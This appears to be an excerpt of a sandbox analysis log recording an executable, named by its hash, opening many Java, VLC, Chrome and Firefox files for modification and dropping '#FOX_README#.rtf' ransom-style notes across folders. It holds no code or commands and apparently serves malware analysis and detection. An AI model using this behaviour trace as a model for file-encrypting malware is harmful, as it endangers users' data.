f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\fonts\LucidaBrightDemiBold.ttf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.core.ssl.feature_1.0.0.v20140827-1444\feature.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\config\Modules\org-openide-actions.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\tzdb.dat f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\management\snmp.acl.template f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\management\management.properties f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Update\Install\{0FFF632F-1073-45B0-9B63-F95E8B1E38FA}\83.0.4103.106_chrome_installer.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\skins\fonts\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.core.databinding.beans.nl_zh_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.e4.ui.css.core.nl_zh_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-core-io-ui_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\cgg\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Mozilla Firefox\uninstall\shortcuts_log.ini f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.emf.ecore_2.10.1.v20140901-1043\epl-v10.html f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-heapdump_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\hrtfs\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\bin\jps.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.babel.nls_eclipse_zh_4.4.0.v20140623020002\epl-v10.html f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\db\lib\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\ext\updater.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-lib-uihandler_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.feature_3.9.0.v20140827-1444\feature.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\update_tracking\org-netbeans-modules-core-kit.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\playlist\anevia_xml.luac f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\jre\lib\deploy\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\amd64\jvm.cfg f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\VERSION.txt f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-application_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\configuration\org.eclipse.update\platform.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\fontconfig.bfc f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\update_tracking\org-netbeans-modules-profiler-api.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\psfont.properties.ja f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\THIRDPARTYLICENSEREADME.txt f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Mozilla Firefox\dependentlibs.list f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\cmm\CIEXYZ.pf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\NEWS.txt f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\config\Modules\org-netbeans-core.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.core.ssl.feature_1.0.0.v20140827-1444\feature.properties f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\cmm\PYCC.pf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\playlist\youtube.luac f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\my\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\VisualElements\LogoBeta.png f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\Extensions\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\eu\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\Locales\vi.pak f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\bin\javap.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\lib\smtp.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\org-netbeans-modules-options-api.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\update_tracking\org-netbeans-swing-plaf.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\modules\locale\org-netbeans-modules-profiler-oql_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.e4.ui.workbench.addons.swt.nl_zh_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\config\Modules\org-openide-io.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.e4.core.commands.nl_zh_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.swt.nl_ja_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.publisher_1.3.0.v20140911-0143.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\SwitchWatch.asp f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\deploy\messages_sv.properties f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\lua\http\images\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\update_tracking\org-netbeans-core-multiview.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\ext\jfxrt.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\ext\dnsns.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\images\Audio-48.png f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\MoveExpand.m4a f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files (x86)\Google\Chrome\Application\Dictionaries\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\bin\unpack200.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.babel.nls_eclipse_ja_4.4.0.v20140623020002\epl-v10.html f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jre1.8.0_66\lib\jfr\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.garbagecollector.nl_ja_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.w3c.dom.smil_1.0.0.v200806040011.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Mozilla Firefox\updater.ini f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\GetAdd.tiff f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.equinox.p2.rcp.feature_1.2.0.v20140523-0116\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\config\ModuleAutoDeps\org-netbeans-modules-options-api.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\security\javaws.policy f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.equinox.p2.core.feature_1.3.0.v20140523-0116\META-INF\MANIFEST.MF f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\com.jrockit.mc.feature.rcp.ja_5.5.0.165303\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.ql.nl_zh_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.flightrecorder.controlpanel.ui.configuration_5.5.0.165303.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.repository_2.3.0.v20131211-1531.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\p2\org.eclipse.equinox.p2.core\cache\binary\com.jrockit.mc.rcp.product_root_5.5.0.165303 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\GrantSelect.svgz f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\rjmx.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\bin\klist.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.help_2.0.102.v20141007-2301\feature.properties f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-modules-autoupdate-cli_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-openide-execution_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.docs.ja_5.5.0.165303.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\nb\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\lib\org-openide-util-lookup.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.apache.lucene.analysis_3.5.0.v20120725-1805.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files (x86)\Google\Chrome\Application\SetupMetrics\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\bin\kinit.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Mozilla Firefox\browser\VisualElements\VisualElements_150.png f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\deploy\messages_it.properties f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\ta\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\playlist\dailymotion.luac f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\icons\time-span-16.png f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\bin\jar.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\javafx-mx.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\org-netbeans-modules-print.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-api-search_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\lib\locale\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.text_3.5.300.v20130515-1451.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\MEIPreload\preloaded_data.pb f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.e4.ui.workbench.swt_0.12.100.v20140530-1436.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\af\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\p2\org.eclipse.equinox.p2.engine\profileRegistry\JMC.profile\1423496937509.profile.gz f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\update_tracking\org-netbeans-api-progress.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\update_tracking\org-netbeans-modules-editor-mimelookup.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\update_tracking\org-netbeans-modules-favorites.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\bin\rmiregistry.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\bin\ssvagent.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.emf.ecore_2.10.1.v20140901-1043\META-INF\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\index.gif f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.jsp.jasper.registry_1.0.300.v20130327-1442.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.osgi.nl_zh_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-jvm.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\p2\org.eclipse.equinox.p2.engine\profileRegistry\JMC.profile\1423496926556.profile.gz f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\db\lib\derby.war f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.director_2.3.100.v20140224-1921.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\configuration\org.eclipse.equinox.simpleconfigurator\bundles.info f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.core.databinding.property.nl_ja_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.browser.zh_CN_5.5.0.165303.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\update_tracking\org-netbeans-modules-profiler-selector-ui.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.feature_3.9.0.v20140827-1444\META-INF\MANIFEST.MF f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\fi\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\winXPTSFrame.png f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\fy\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\mai\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\db\bin\dblook.bat f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.e4.ui.workbench3.nl_ja_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui.views.nl_ja_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\update_tracking\org-openide-text.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Mozilla Firefox\update-settings.ini f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.core.databinding.beans.nl_ja_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-api-search_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.emf.common_2.10.1.v20140901-1043\feature.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\update_tracking\com-sun-tools-visualvm-modules-startup.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\p2\org.eclipse.equinox.p2.engine\profileRegistry\JMC.profile\1423496926306.profile.gz f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-modules-appui_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.jarprocessor.nl_ja_4.4.0.v20140623020002.jar 